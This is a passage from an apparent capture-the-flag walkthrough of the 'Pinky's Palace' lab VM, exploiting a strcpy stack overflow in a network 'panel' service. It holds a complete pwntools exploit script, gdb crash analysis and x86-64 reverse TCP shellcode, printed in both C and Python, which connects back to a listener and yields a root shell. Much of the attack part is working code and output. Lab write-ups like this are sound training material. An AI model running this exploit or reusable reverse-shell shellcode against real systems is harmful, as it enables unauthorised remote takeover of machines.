  strcpy(buf,cmd);
  cmd_len = strlen(buf);
  send(sockfd,buf,cmd_len,0);
  return;
}

Ah, the infamous strcpy. There is definitely a buffer overflow here. Let’s own it.

Crafting an Exploit

I’ll use pwntools to speed up exploit development. We’ll launch the panel process locally, and then we’ll use the cyclic function from pwnlib to determine the length of our vulnerable buffer:

#!/usr/bin/env python3

from pwn import *

HOST = 'localhost'
PORT = 31337

de_bruijn = cyclic(length=0x400,n=8)
payload = de_bruijn

p = remote(HOST,PORT)
p.recvuntil(b'=> ')
p.sendline(payload)
print(p.recvall().decode())

Now we’ll run the exploit and open the core dump in gdb:

(ori0n@apophis) --> [ ~/pinky ]
  ==> $  ./exp.py
[+] Opening connection to localhost on port 31337: Done
[+] Receiving all data: Done (1.00KB)
[*] Closed connection to localhost port 31337
\x00aaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaa
raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaa
aaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaa
accaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaact
aaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaa
aaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaa
eeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaeva
aaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaaf

(ori0n@apophis) --> [ ~/pinky ]
  ==> $ coredumpctl list panel
Hint: You are currently not seeing messages from other users and the system.
      Users in groups 'adm', 'systemd-journal', 'wheel' can see all messages.
      Pass -q to turn off this notice.
TIME                           PID  UID  GID SIG     COREFILE EXE                            SIZE
Sat 2022-01-29 21:19:26 CST 297769 1002 1006 SIGSEGV present  /home/ori0n/pinky/files/panel 19.0K

(ori0n@apophis) --> [ ~/pinky ]
  ==> $ coredumpctl debug panel

Once inside gdb, run info reg to dump the register values:

(gdb) info reg
rax            0x401               1025
rbx            0x400b90            4197264
rcx            0x7fdbbad67c10      140581709184016
rdx            0x401               1025
rsi            0x7ffc5eaa80c0      140721896718528
rdi            0x4                 4
rbp            0x616161616161616f  0x616161616161616f
rsp            0x7ffc5eaa8138      0x7ffc5eaa8138
r8             0x0                 0
r9             0x0                 0
r10            0x0                 0
r11            0x246               582
r12            0x400840            4196416
r13            0x0                 0
r14            0x0                 0
r15            0x0                 0
rip            0x4009aa            0x4009aa <handlecmd+70>
eflags         0x10203             [ CF IF RF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0

Notice rbp: 0x616161616161616f. Translating to ASCII and accounting for endianess, we get paaaaaaa. With print(cyclic_find('paaaaaaa',n=8)) we find the offset to RIP to be 120. This means we have room to cleanly inject up to 120 bytes of shellcode onto the stack. A quick search locates a good candidate on shell-storm:

/*
Title   : reversetcpbindshell  (118 bytes)
Date    : 04 October 2013
Author  : Russell Willis <codinguy@gmail.com>
Testd on: Linux/x86_64 (SMP Debian 3.2.46-1+deb7u1 x86_64 GNU/Linux)

$ objdump -D reversetcpbindshell -M intel
reversetcpbindshell:     file format elf64-x86-64
Disassembly of section .text:

0000000000400080 <_start>:
  400080:   48 31 c0                xor    rax,rax
  400083:   48 31 ff                xor    rdi,rdi
  400086:   48 31 f6                xor    rsi,rsi
  400089:   48 31 d2                xor    rdx,rdx
  40008c:   4d 31 c0                xor    r8,r8
  40008f:   6a 02                   push   0x2
  400091:   5f                      pop    rdi
  400092:   6a 01                   push   0x1
  400094:   5e                      pop    rsi
  400095:   6a 06                   push   0x6
  400097:   5a                      pop    rdx
  400098:   6a 29                   push   0x29
  40009a:   58                      pop    rax
  40009b:   0f 05                   syscall 
  40009d:   49 89 c0                mov    r8,rax
  4000a0:   48 31 f6                xor    rsi,rsi
  4000a3:   4d 31 d2                xor    r10,r10
  4000a6:   41 52                   push   r10
  4000a8:   c6 04 24 02             mov    BYTE PTR [rsp],0x2
  4000ac:   66 c7 44 24 02 7a 69    mov    WORD PTR [rsp+0x2],0x697a
  4000b3:   c7 44 24 04 0a 33 35    mov    DWORD PTR [rsp+0x4],0x435330a
  4000ba:   04 
  4000bb:   48 89 e6                mov    rsi,rsp
  4000be:   6a 10                   push   0x10
  4000c0:   5a                      pop    rdx
  4000c1:   41 50                   push   r8
  4000c3:   5f                      pop    rdi
  4000c4:   6a 2a                   push   0x2a
  4000c6:   58                      pop    rax
  4000c7:   0f 05                   syscall 
  4000c9:   48 31 f6                xor    rsi,rsi
  4000cc:   6a 03                   push   0x3
  4000ce:   5e                      pop    rsi
00000000004000cf <doop>:
  4000cf:   48 ff ce                dec    rsi
  4000d2:   6a 21                   push   0x21
  4000d4:   58                      pop    rax
  4000d5:   0f 05                   syscall 
  4000d7:   75 f6                   jne    4000cf <doop>
  4000d9:   48 31 ff                xor    rdi,rdi
  4000dc:   57                      push   rdi
  4000dd:   57                      push   rdi
  4000de:   5e                      pop    rsi
  4000df:   5a                      pop    rdx
  4000e0:   48 bf 2f 2f 62 69 6e    movabs rdi,0x68732f6e69622f2f
  4000e7:   2f 73 68 
  4000ea:   48 c1 ef 08             shr    rdi,0x8
  4000ee:   57                      push   rdi 4000ef:   54                      push   rsp
  4000f0:   5f                      pop    rdi
  4000f1:   6a 3b                   push   0x3b
  4000f3:   58                      pop    rax
  4000f4:   0f 05                   syscall 

  Code not is not optimal, this is left as an exercise to the reader ;^)

*/

#include <stdio.h>

#define IPADDR "\xc0\x80\x10\x0a" /* 192.168.1.10 */
#define PORT "\x7a\x69" /* 31337 */

unsigned char code[] = \
"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a"
"\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0"
"\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24"
"\x02"PORT"\xc7\x44\x24\x04"IPADDR"\x48\x89\xe6\x6a\x10"
"\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48"
"\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a"
"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54"
"\x5f\x6a\x3b\x58\x0f\x05";

int
main(void)
{
    printf("Shellcode Length: %d\n", (int)sizeof(code)-1);
    int (*ret)() = (int(*)())code;
    ret();
    return 0;
}

We can convert the shellcode to Python and add it to our script at the beginning of our payload, but it will only work if we can return to the top of the stack, RSP. We can use ropper to search for a useful gadget:

(ori0n@apophis) --> [ ~/pinky ]
  ==> $ ropper -f files/panel -j rsp



JMP Instructions
================


0x0000000000400cfb: call rsp;

1 gadgets found

Beautiful! Now we can complete the exploit script:

#!/usr/bin/env python3

from pwn import *

HOST = 'pinkydb'
RPORT = 31337

LPORT = 4444
LHOST = '192.168.194.128'

# Shellcode from: [http://shell-storm.org/shellcode/files/shellcode-857.php]
# Converted from C to Python
IPADDR = socket.inet_aton(LHOST)
PORT = p16(LPORT, endian='big')
SHELLCODE = b''.join([
    b"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a"
    b"\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0"
    b"\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24"
    b"\x02",
    PORT,
    b"\xc7\x44\x24\x04",
    IPADDR,
    b"\x48\x89\xe6\x6a\x10"
    b"\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48"
    b"\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a"
    b"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54"
    b"\x5f\x6a\x3b\x58\x0f\x05"
])

# Create our filler
de_bruijn = cyclic(length=0x400,n=8)
JUNK_LEN = cyclic_find('paaaaaaa',n=8)
print(JUNK_LEN)
JUNK = b'X' * (JUNK_LEN - len(SHELLCODE))

# CALL RSP
RET = p64(0x0400cfb)

# Putting it all together
payload = b''.join([
    SHELLCODE,
    JUNK,
    RET
])

# And do the thang
p = remote(HOST,RPORT)
p.recvuntil(b'=> ')
p.sendline(payload)

Fire up our listener, and run the exploit.

ori0n@apophis:~/pinky$ ncat -nlkvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.194.1.
Ncat: Connection from 192.168.194.1:49316.
id
uid=0(root) gid=0(root) groups=0(root)

Bingo! All that’s left to do is capture the flag:

cd /root
ls
root.txt
cat root.txt

 ____  _       _          _
|  _ \(_)_ __ | | ___   _( )___
| |_) | | '_ \| |/ / | | |// __|
|  __/| | | | |   <| |_| | \__ \
|_|   |_|_| |_|_|\_\\__, | |___/
                    |___/
 ____       _
|  _ \ __ _| | __ _  ___ ___
| |_) / _` | |/ _` |/ __/ _ \
|  __/ (_| | | (_| | (_|  __/
|_|   \__,_|_|\__,_|\___\___|

[+] CONGRATS YOUVE PWND PINKYS PALACE!!!!!!
[+] Flag: 2208f787fcc6433b4798d2189af7424d
[+] Twitter: @Pink_P4nther
[+] Cheers to VulnHub!
[+] VM Host: VMware
[+] Type: CTF || [Realistic]
[+] Hopefully you enjoyed this and gained something from it as well!!!

2 COMMENTS

comments user
eric

hello bro, i just don’t understand why rbp is paaaaaaa, 0x616161616161616f is aaaaaaao,right?

comments user
ori0n

You are correct. RBP is 0x616161616161616f, which is ‘aaaaaaao’. However, we are working with a little-endian architecture, so the bytes are in reverse order. So, the actual string is ‘oaaaaaaa’.

So why ‘paaaaaaa’? I wasn’t particularly clear in the walkthrough, but we are actually looking to overwrite the return address on the stack, NOT the stored RBP value. We know this return address sits exactly one quadword above the stack location of the stored RBP value that is popped back into RBP directly before the program crashed (hence why we see this value in RBP in the crash dump).

‘o’ + 1 = ‘p’. In other words, in hex: 0x6f + 1 = 0x70.

Therefore, we know that if RBP is 0x616161616161616f, the stored return address being popped back into RIP – and subsequently causing the crash – is 0x6161616161616170, or ‘aaaaaaap’. Once again, flip the bytes to account for the little-endian architecture, and we get ‘paaaaaaa’. We then use cyclic_find with this string to find our offset.

Hope this cleared things up.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.